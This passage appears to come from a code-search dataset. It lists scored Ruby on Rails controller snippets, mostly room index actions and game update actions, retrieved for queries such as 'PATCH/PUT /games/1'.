"" }, { "docid": "a839364d555b7c9df8b2143a5880b269", "score": "0.621125", "text": "def index\n @chatroom_users = ChatroomUser.all\n end", "title": "" }, { "docid": "13fb936bed96365b10f74efbabb9f9a3", "score": "0.6194544", "text": "def index\n case current_type\n when 'owner'\n @rooms = owner_rooms\n when 'access'\n @rooms = access_rooms\n else\n @rooms = public_rooms\n end\n end", "title": "" }, { "docid": "c7af2283414c9998e0cb4539d89abf06", "score": "0.6183084", "text": "def index\n @student_rooms = StudentRoom.all\n end", "title": "" }, { "docid": "8e5766099bb2d4c179d15bd2c576c65e", "score": "0.61782396", "text": "def index\n @cleaning_rooms = CleaningRoom.all\n @room = Room.new;\n end", "title": "" }, { "docid": "5b6955d4ca0131805efe0fb25350c67b", "score": "0.61768395", "text": "def index\n @bathrooms = Bathroom.all\n end", "title": "" }, { "docid": "5b6955d4ca0131805efe0fb25350c67b", "score": "0.61768395", "text": "def index\n @bathrooms = Bathroom.all\n end", "title": "" }, { "docid": "7c21c365f8af3e8d2fac9cdd349c7da3", "score": "0.6172175", "text": "def index\n @rooms = Room.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @rooms }\n end\n end", "title": "" }, { "docid": "55b663da2b0f39a63c7eec01966f01b8", "score": "0.61717784", "text": "def index\n @rooms = Room.all\n @rooms = @rooms.search(params[:search]) if params[:search].present?\n end", "title": "" }, { "docid": "76a5161ed906257bae3320d067d72891", "score": "0.61692274", "text": "def index\n @room_items = RoomItem.all\n @room_elem = Room.all\n @item_elem = Item.all\n end", "title": "" }, { "docid": "18bee71ad444e6596f5de8c18cdddd39", "score": "0.61659527", "text": "def index\n @branch_rooms = Room.get_all_rooms(params[:branch_id])\n \n render json: @branch_rooms\n end", "title": "" }, { "docid": "a093010a1d227386a0f68ffe4f224348", "score": "0.61613715", "text": "def objects\n @objects ||= []\n end", "title": "" }, { "docid": "feaa838e2a85e776367fbf59114d5c2a", "score": "0.6160867", "text": "def index\n rooms = Room.includes(:problems, :registrations, :users, :owner)\n if params[:name]\n render json: rooms.where(name: params[:name])\n else\n render json: rooms\n end\n end", "title": "" }, { "docid": "b183c2c36eb490095a1bd4b6dc794a34", "score": "0.61532617", "text": "def find_room_with_spaces\n available_rooms = Array.new()\n available_rooms = @rooms\n .find_all { |room| room.is_full == false}\n .map { |room| room.name }\n return available_rooms\nend", "title": "" }, { "docid": "689ed4903b5d4da1723fc736f515175d", "score": "0.6145737", "text": "def user_list\n @room = current_user.room\n @user_list = @room.users\n render partial: \"user_list\"\n end", "title": "" }, { "docid": "971e0f45b4883e2257bc4dc05437452f", "score": "0.6145138", "text": "def index\n @rooms = Room.all\n @room = Room.new\n end", "title": "" }, { "docid": "edf2fbfd6ed79125e93570f6ca8e985c", "score": "0.61390924", "text": "def index\n @room_occupations = RoomOccupation.all\n end", "title": "" }, { "docid": "aef8aec952411f8c87f54471be19cbc9", "score": "0.6136095", "text": "def index\n @room_bookings = RoomBooking.all\n end", "title": "" }, { "docid": "9dcf6a876e78ed33f7f664944771fc09", "score": "0.61230475", "text": "def index\n @reservation2_rooms = Reservation2Room.all\n end", "title": "" }, { "docid": "0fef32ed3baff035be2e9cb2d8a3647c", "score": "0.6119579", "text": "def objects\n @objects ||= []\n end", "title": "" }, { "docid": "1132b72d113c8e9c8ef0a41e8b0c1789", "score": "0.6119107", "text": "def users\n\t\tusers = []\n\t\trooms.each do |room|\n\t\t\troom.users.each do |user|\n\t\t\t\tusers << user\n\t\t\tend\n\t\tend\n\t\tusers\n\tend", "title": "" }, { "docid": "a67bf5f4a13ed05d6051ae67db713358", "score": "0.609635", "text": "def index\n\t\t@room_members = @room.members - @room.admins\n\tend", "title": "" }, { "docid": "4b014bace2a05d650500a677832349cb", "score": "0.6095545", "text": "def list(status: :unset, date_created_after: :unset, date_created_before: :unset, room_sid: :unset, limit: nil, page_size: nil)\n self.stream(\n status: status,\n date_created_after: date_created_after,\n date_created_before: date_created_before,\n room_sid: room_sid,\n limit: limit,\n page_size: page_size\n ).entries\n end", "title": "" }, { "docid": "30cb924cbf2eba2cbfc9c696621c983b", "score": "0.6094735", "text": "def index\n @room_categories = RoomCategory.all\n end", "title": "" }, { "docid": "01541a2ad31fc2ab72c22f1f55fdc0db", "score": "0.60931563", "text": "def search_room\n @rooms=Room.new\n \n\n # #debugger\n end", "title": "" }, { "docid": "3a0b8ecb88a9b94b1693cfbfa791503b", "score": "0.60886765", "text": "def index\n @rooms = current_user.rooms.includes(:messages).order(\"messages.created_at desc\")\n end", "title": "" }, { "docid": "bd1d2ebc02725f786e24b5daf9d80d6b", "score": "0.6088041", "text": "def index\n @rooms = Room.includes(:hotel, :users).order('hotels.name ASC, number')\n\n respond_to do |format|\n format.html\n format.json { render json: @rooms }\n end\n end", "title": "" }, { "docid": "228edff01c9e5fffae74fdc28e150502", "score": "0.6087562", "text": "def index\n @room_facilities = RoomFacility.all\n end", "title": "" }, { "docid": "315689e0470e5ab47b97e3af2f70d621", "score": "0.6086336", "text": "def objects\n [@player] + @map.objects\n end", "title": "" }, { "docid": "e8f767b5c6f1bf1cbf9729fdb9149ee1", "score": "0.608616", "text": "def show\n @bookings = Booking.all\n @rooms = Room.all\n end", "title": "" }, { "docid": "159b061a559bfcb4a61944b14e85ab44", "score": "0.6074045", "text": "def index\n @rooms = Room.all\n room_list = []\n @rooms.each do |room|\n room_list << room.to_hash_with_users(current_user)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: room_list.to_json}\n end\n end", "title": "" }, { "docid": "918932c4e234edaec09f14298c4f936f", "score": "0.6068757", "text": "def index\n @orids = Orid.all\n end", "title": "" }, { "docid": "3f6d4787459fc2b8db8bb771a6e93ef4", "score": "0.60638845", "text": "def search_rooms\n end", "title": "" } ]
ab3170140f7f40b8505fcff252e4b10c
PATCH/PUT /games/1 PATCH/PUT /games/1.json
[ { "docid": "47df891c46815a22913add77e15c5d45", "score": "0.0", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n\t# start for mtm\n\[email protected]_all\n\tif params[:game][:genre_ids]\n\t params[:game][:genre_ids].each do |genre_id|\n\t unless genre_id.empty?\n\t genre = Genre.find(genre_id)\n\t @game.genres << genre\n\t end\n\t end\n\tend\n\[email protected]_all\n\tif params[:game][:company_ids]\n\t params[:game][:company_ids].each do |company_id|\n\t unless company_id.empty?\n\t company = Company.find(company_id)\n\t @game.companies << company\n\t end\n\t end\n\tend\n\t# end for mtm\n\tprocessor_id = params[:game][:processor_id]\n\tmemory_id = params[:game][:memory_id]\n\tgraphic_id = params[:game][:graphic_id]\n\tsys_req = @game.system_requirement\n\tif processor_id != 0\n\t sys_req.processor_id = processor_id\n\tend\n\tif memory_id != 0\n\t sys_req.memory_id = memory_id\n\tend\n\tif graphic_id != 0\n\t sys_req.graphic_id = graphic_id\n\tend\n\tsys_req.save\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "e7ed2fba84a75b626b2e0b306e4eb204", "score": "0.7157309", "text": "def update\n #if game exists, pass here to update state\n @game = Game.find_by(id: params[:id])\n @game.update(game_params)\n render json: @game, status: 201\n end", "title": "" }, { "docid": "f3c597d400a9bd6da0010d5482c37c95", "score": "0.7029037", "text": "def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b0bcd19704cb6ed5f0789ec4c51bfb7b", "score": "0.70235133", "text": "def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, :notice => 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @game.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b50da65a9adeaa63ab239ed431c17c70", "score": "0.7022238", "text": "def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b50da65a9adeaa63ab239ed431c17c70", "score": "0.70219064", "text": "def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b50da65a9adeaa63ab239ed431c17c70", "score": "0.70219064", "text": "def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b50da65a9adeaa63ab239ed431c17c70", "score": "0.70219064", "text": "def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b50da65a9adeaa63ab239ed431c17c70", "score": "0.70219064", "text": "def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b50da65a9adeaa63ab239ed431c17c70", "score": "0.70219064", "text": "def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b50da65a9adeaa63ab239ed431c17c70", "score": "0.70219064", "text": "def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b50da65a9adeaa63ab239ed431c17c70", "score": "0.70219064", "text": "def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7e0428d67881b5bb488ab895c606dab7", "score": "0.699033", "text": "def update\n @game = Game.get(params[:id])\n\n respond_to do |format|\n if @game.update(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9cc7871a8ae4414ab686e9eb28f707da", "score": "0.6979274", "text": "def update\n @game = current_user.games.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game].merge({ :user_id => current_user.id }))\n format.html { redirect_to games_path, notice: 'Game was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "04e4c2bd3416ba463b41d2cee1e281e6", "score": "0.69443756", "text": "def update\n @user = User.find(params[:user_id])\n @game = @user.games.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to user_game_path(@user,@game), :notice => 'Game was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @game.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "039fa1d613d0561274ada2f715a0d2cf", "score": "0.6894251", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to games_url, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7fc70c3c0de60bd1423bae4b0aef4f7b", "score": "0.68479854", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7fc70c3c0de60bd1423bae4b0aef4f7b", "score": "0.68479854", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7fc70c3c0de60bd1423bae4b0aef4f7b", "score": "0.68479854", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "580ae8bb98d20120f173e5eb609d444e", "score": "0.6822679", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n @games = current_club_player.games\n format.html { redirect_to dashboard_path, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "667195d30aca7d6de6fb1a44e72b7db2", "score": "0.6814825", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to contest_games_path, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "141d03ff049459504cde515743ab1406", "score": "0.6804534", "text": "def update\n game = Game.find(params[:game_id])\n @player_game = game.player_games.find(params[:id])\n\n respond_to do |format|\n if @player_game.update_attributes(params[:player_game])\n format.html { redirect_to(@player_game, :notice => 'Player game was successfully updated.') }\n format.xml { head :ok }\n format.json { render :json => @player_game}\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @player_game.errors, :status => :unprocessable_entity }\n format.json { render :json => @player_game}\n end\n end\n end", "title": "" }, { "docid": "f16d4b2339bee16f14eb8912993e2b60", "score": "0.6781543", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n sync_update @game\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "28673a6874f2a155e03789fbfe2497e7", "score": "0.67749125", "text": "def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to(@game, :notice => 'Game was successfully updated.') }\n format.xml { head :ok }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @game.errors, :status => :unprocessable_entity }\n format.json { render :json => @game.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "02a2ebb7c4441756dc7b25485df63f6b", "score": "0.6758972", "text": "def update\n @game = Game.instance\n\n respond_to do |format|\n if @game.update_attributes(game_params)\n format.html { redirect_to game_path, flash: { success: 'Game was successfully updated.' } }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b8bed83836355cf4747de52be6d472a9", "score": "0.6746991", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to games_path, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8c10d70b4c10c332921161a948b761f7", "score": "0.6737359", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: game_url(@game, format: :json) }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "890fd6d3747e7e066307889cfba69d23", "score": "0.67223644", "text": "def update\n @game = Game.find_by_slug(params[:id])\n\t\[email protected] = build_tags_from_params(params) if params[:commit] == 'Update Game'\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0020638fa7407f031f508741cbd0e1f3", "score": "0.6721425", "text": "def update\n respond_to do |format|\n if User.update(current_user.id, :game_id => params[:id])\n format.json { head :no_content }\n end\n end\n end", "title": "" }, { "docid": "7be3ec844e4320a902d457bb81f94db6", "score": "0.67130023", "text": "def update\n @game = Game.find(params[:id])\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n update_standings\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "294fbf21c68dae96b2a20639841c6dc6", "score": "0.6705706", "text": "def update\n @old_game = OldGame.find(params[:id])\n\n respond_to do |format|\n if @old_game.update_attributes(params[:old_game])\n format.html { redirect_to @old_game, notice: 'Old game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @old_game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9e852924b50b2f4bcde0060af4f45e3", "score": "0.6676425", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9e852924b50b2f4bcde0060af4f45e3", "score": "0.6676425", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9e852924b50b2f4bcde0060af4f45e3", "score": "0.6676425", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9e852924b50b2f4bcde0060af4f45e3", "score": "0.6676425", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9e852924b50b2f4bcde0060af4f45e3", "score": "0.6676425", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9e852924b50b2f4bcde0060af4f45e3", "score": "0.6676425", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9e852924b50b2f4bcde0060af4f45e3", "score": "0.6676425", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9e852924b50b2f4bcde0060af4f45e3", "score": "0.6676425", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9e852924b50b2f4bcde0060af4f45e3", "score": "0.6676425", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9e852924b50b2f4bcde0060af4f45e3", "score": "0.6676425", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9e852924b50b2f4bcde0060af4f45e3", "score": "0.6676425", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9e852924b50b2f4bcde0060af4f45e3", "score": "0.6676425", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9e852924b50b2f4bcde0060af4f45e3", "score": "0.6676425", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9e852924b50b2f4bcde0060af4f45e3", "score": "0.6676425", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9e852924b50b2f4bcde0060af4f45e3", "score": "0.6676425", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9e852924b50b2f4bcde0060af4f45e3", "score": "0.6676425", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9e852924b50b2f4bcde0060af4f45e3", "score": "0.6676425", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9e852924b50b2f4bcde0060af4f45e3", "score": "0.6676425", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9e852924b50b2f4bcde0060af4f45e3", "score": "0.6676425", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9e852924b50b2f4bcde0060af4f45e3", "score": "0.6676425", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9e852924b50b2f4bcde0060af4f45e3", "score": "0.6676425", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9e852924b50b2f4bcde0060af4f45e3", "score": "0.6676425", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9e852924b50b2f4bcde0060af4f45e3", "score": "0.66758806", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "239ce46e849212a2f690b7d7c6c2d88c", "score": "0.6672195", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to games_url, notice: \"Game was successfully updated.\" }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "30612c2bdb299b6ef5521c2a680ce8a0", "score": "0.6657801", "text": "def update\n if not @game.locked\n parse_game_params\n\n respond_to do |format|\n if @game.update(:id => params[:id])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to root_path\n end\n end", "title": "" }, { "docid": "5b421bf2d48638d2c866d419d08444ca", "score": "0.6649705", "text": "def update\n @game = Game.find(params[:id])\n @corporations = Corporation.order(:faction, :slogan)\n @runners = Runner.order(:faction, :name)\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c8420b5a261318368f2c1c5a0a66dd2c", "score": "0.66375756", "text": "def update\n @game = Game.where(\"secret_id='#{secret_id}\").first\n respond_to do |format|\n if game.update\n format.html\n format.json { render json: @game }\n end\n end\n end", "title": "" }, { "docid": "7f6930a9752c151203cf1d6368603e24", "score": "0.66284996", "text": "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: \"Game was successfully updated.\" }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ededf375870e645abc647458ec1fbda8", "score": "0.6625905", "text": "def update\n @player_game = PlayerGame.find(params[:id])\n\n respond_to do |format|\n if @player_game.update_attributes(params[:player_game])\n format.html { redirect_to @player_game, :notice => 'Player game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @player_game.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cf9ae6bdcd5a1c2bc8abbb028d815cc4", "score": "0.66116506", "text": "def update\n\t\trespond_to do |format|\n\t\t\tif @game.update(game_params)\n\t\t\t\tformat.html { redirect_to @game, notice: 'Game was successfully updated.' }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: 'edit' }\n\t\t\t\tformat.json { render json: @game.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "9d56347881c9e3321b6c468f41b9e3b1", "score": "0.6598125", "text": "def update\n @gameplay = Gameplay.find(params[:id])\n\n respond_to do |format|\n if @gameplay.update_attributes(params[:gameplay])\n format.html { redirect_to @gameplay, notice: 'Gameplay was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gameplay.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ec9502d7a0feed39fbf442b983f24d3f", "score": "0.659609", "text": "def update\n @bestgame = 